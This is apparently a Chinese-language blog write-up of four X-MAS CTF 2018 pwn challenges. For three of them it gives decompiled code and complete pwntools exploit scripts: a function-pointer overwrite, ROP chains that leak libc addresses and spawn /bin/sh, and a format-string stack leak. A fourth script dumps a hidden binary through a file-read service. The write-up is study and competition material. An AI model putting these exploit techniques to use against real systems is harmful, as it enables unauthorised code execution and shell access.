【题解】X-MAS CTF

X-MAS CTF – PWN

国外的比赛都脑洞大开。这次的PWN很有趣。一共做出3个题。

Greeting from Santa

这一题很简单,但是比较绕。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __cdecl main()
{
char s; // [esp+Ch] [ebp-4Ch]
int (__cdecl **v2)(int, int); // [esp+4Ch] [ebp-Ch]

alarm(0x3Cu);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
v2 = &off_804888C; //传入了一个指针的指针的指针,
printf("Greetings from Santa! Wanna talk? ");
sub_8048760();
fgets(&s, 512, stdin);
if ( s != 'y' )
return 1;
sub_8048703((int (__cdecl ***)(_DWORD, char *))&v2); //在这里调用
return 0;
}

我们可以通过栈溢出,覆盖掉v2的值。

程序中提供了调用system的函数:

1
2
3
4
5
6
7
8
9
10
11
.text:08048772 ; __unwind {
.text:08048772 push ebp
.text:08048773 mov ebp, esp
.text:08048775 sub esp, 8
.text:08048778 sub esp, 0Ch
.text:0804877B push [ebp+command] ; command
.text:0804877E call _system
.text:08048783 add esp, 10h
.text:08048786 nop
.text:08048787 leave
.text:08048788 retn

bss段0x8048898处保存了system函数的地址,所以把v2覆盖为0x8048898即可。

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# -*- coding:utf-8 -*-
from pwn import *

context(arch='i386', os='linux')
context.log_level = 'debug'
BIN_PATH = './chall'
LIBC_PATH = 'libc.so.6'

DEBUG = 0
if DEBUG == 1:
p = process(BIN_PATH)# env={'LD_PRELOAD': LIBC_PATH})
gdb.attach(p,
'''
b *0x80486BF
b *0x8048747
'''
)
else:
p = remote('199.247.6.180', 10003)

elf = ELF(BIN_PATH)
#libc = ELF(LIBC_PATH)
p.recvuntil("Greetings from Santa! Wanna talk?")
p.sendline('y'+"a"*(0x4c-0xc-1)+p32(0x8048898))
p.sendline('/bin/sh')

p.interactive()

Random Present

一个ROP。没有canary,没有PIE

1
2
3
4
5
6
7
8
9
10
11
12
13
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [rsp+0h] [rbp-20h]

alarm(0x3Cu);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
puts("This is easier than you would think...");
puts("Santa allowed you to ROP me!");
gets(&v4, 0LL);
return 0;
}

gets函数栈溢出。但是没有提供libc文件。

通过ROP泄漏几个函数的相对偏移,发现这个题每次执行的libc文件都不相同…不知道出题方怎么做到的。

最后的解决方法是,泄露出地址,我手动查询system,binsh的地址然后再输入回去。总不能一次执行过程中还能换libc吧…手段有些无耻但是好用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
# -*- coding:utf-8 -*-
from pwn import *

context(arch='amd64', os='linux')
#context.log_level = 'debug'
BIN_PATH = './chall'
#LIBC_PATH = 'libc.so.6'

DEBUG = 0
if DEBUG == 1:
p = process(BIN_PATH) #env={'LD_PRELOAD': LIBC_PATH})
gdb.attach(p,
'''
'''
)
else:
p = remote('199.247.6.180', 10005)

elf = ELF(BIN_PATH)
#libc = ELF(LIBC_PATH)
def gen_p(func, para1):
prdi_r = 0x000000000040077b
prsi_pr = 0x0000000000400779

payload = 'a'*0x28 + p64(prdi_r) + p64(para1) + p64(func) + p64(0x400676)
return payload

p.recvuntil('ROP me!')
p.sendline(gen_p(elf.plt['puts'], elf.got['alarm']))
alarm_addr = u64(p.recvuntil('This is easier')[1:7] + '\x00\x00')
print hex(alarm_addr)

p.recvuntil('ROP me!')
p.sendline(gen_p(elf.plt['puts'], elf.got['gets']))
gets_addr = u64(p.recvuntil('This is easier')[1:7] + '\x00\x00')
print hex(gets_addr)

p.recvuntil('ROP me!')
p.sendline(gen_p(elf.plt['puts'], elf.got['puts']))
puts_addr = u64(p.recvuntil('This is easier')[1:7] + '\x00\x00')
print hex(puts_addr)

system_addr = int(raw_input('sys:'), 16) + puts_addr
binsh_addr = int(raw_input('sh:'), 16) + puts_addr

print hex(system_addr)
print hex(binsh_addr)

p.recvuntil('ROP me!')
p.sendline(gen_p(system_addr, binsh_addr))

p.interactive()

'''
Gadgets information
============================================================
0x0000000000400774 : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400776 : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400778 : pop r14 ; pop r15 ; ret
0x000000000040077a : pop r15 ; ret
0x0000000000400773 : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400777 : pop rbp ; pop r14 ; pop r15 ; ret
0x000000000040065d : pop rbp ; ret
0x000000000040077b : pop rdi ; ret
0x0000000000400779 : pop rsi ; pop r15 ; ret
0x0000000000400775 : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040053e : ret
0x0000000000400542 : ret 0x200a

'''

Pinkie’s Gift

栈溢出ROP。这次应有尽有。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+0h] [ebp-84h]

alarm(0x3Cu);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
printf("Here are some gifts from Santa: %p %p\n", &binsh, &system);
fgets(&s, 128, stdin);
printf(&s);
gets(&s);
return 0;
}

已经给出了system函数的地址。但是binsh的地址是bss段,内容是空。所以我选择把/bin/sh写在栈上,用fsb泄漏栈地址,然后ROP getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# -*- coding:utf-8 -*-
from pwn import *

context(arch='i386', os='linux')
context.log_level = 'debug'
BIN_PATH = './pinkiegift'
#LIBC_PATH = 'libc.so.6'

DEBUG = 0
if DEBUG == 1:
p = process(BIN_PATH) #env={'LD_PRELOAD': LIBC_PATH})
gdb.attach(p,
'''
b *0x8048607
c
'''
)
else:
p = remote('95.179.163.167', 10006)

elf = ELF(BIN_PATH)
#libc = ELF(LIBC_PATH)

p.recvuntil('Here are some gifts from Santa: ')
binsh_addr = int(p.recv(10), 16)
system_addr = int(p.recvline(), 16)
p.sendline(';%22$p /bin/sh\x00')
p.recvuntil(';')

binsh_addr = int(p.recvuntil('/bin/sh', drop=True), 16) - 0xff916dbc + 0xff916c94 + 8 + (0x88-24+4*3+16)
print hex(binsh_addr)


payload = '/bin/sh\x00'*3 + 'a'*(0x88-24) + p32(system_addr) + p32(0x8048546) + p32(binsh_addr) + '/bin/sh\x00'
p.sendline(payload)
p.interactive()

Forbidden Documents – X-MASCTF2018

当时没有做出来,但是是个很有意思的题。Mark一下。

参考链接:

https://github.com/quantumbracket/ctf_writeups/tree/master/xmasctf2018/forbidden%20documents

https://h0ax.org/blog/ctf/2018/12/23/forbidden-document.html

(服务器关了,在本地打搭了个docker,127.0.0.1 10004)

程序逻辑:

输入一个路径名,程序打开该文件,然后输入读取offset,以及读取size。然后程序将文件内容打印出来。但是文件名不能包含flag。没有给出二进制文件。盲打

解题思路

首先,没有二进制文件。根据先前解题的经历,文件夹下有一个名为 redir.sh的文件,是启动socat的脚本。果然该文件夹下也有该文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
[43602.DESKTOP-77F0PG3] ➤  nc 199.247.6.180 10004
Welcome to the Santa's Archive
Name a document to open: redir.sh
redir.sh
Do you want to read from other offset than 0? (y/n)
n
n
How much should we read: 200
200
Content: #! /bin/bash
cd /home/ctf
sudo -u ctf socat tcp-l:10004,reuseaddr,fork exec:./random_exe_name,pty

所以ELF文件名是 random_exe_name

dump出ELF文件。我dump文件的时候出了故障,感觉出题人在坑我。发送的字符串不是\n,而是\r\n。所以我dump的时候ELF文件崩了。

给出一个泄漏题目的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import * 


context.log_level = 'debug'

def itr(name, size, offset=0, block=1000):
p = remote('127.0.0.1', 10004)

p.recvuntil("Name a document to open:")
p.sendline(name)
p.recvuntil("other offset than 0? (y/n)")
if offset == 0:
p.sendline('n')
else:
p.sendline('y')

p.recvuntil("How much should we read:")
p.sendline(str(size))
if offset != 0:
p.recvuntil("Read register from offset:")
p.sendline(str(offset))

p.recvuntil('Content: ')
tmp = p.recvall()
if len(tmp) != block:
tmp = tmp.replace('\r\n', '\n')
p.close()
return tmp

# itr('redir.sh', 200)
size = 0
block = 1000
content = ''
while size < 0x4000:
tmp = itr("random_exe_name", block, size)
size += len(tmp)
content += tmp

fp = open("dump", "w")
fp.write(content)
fp.close()

zz2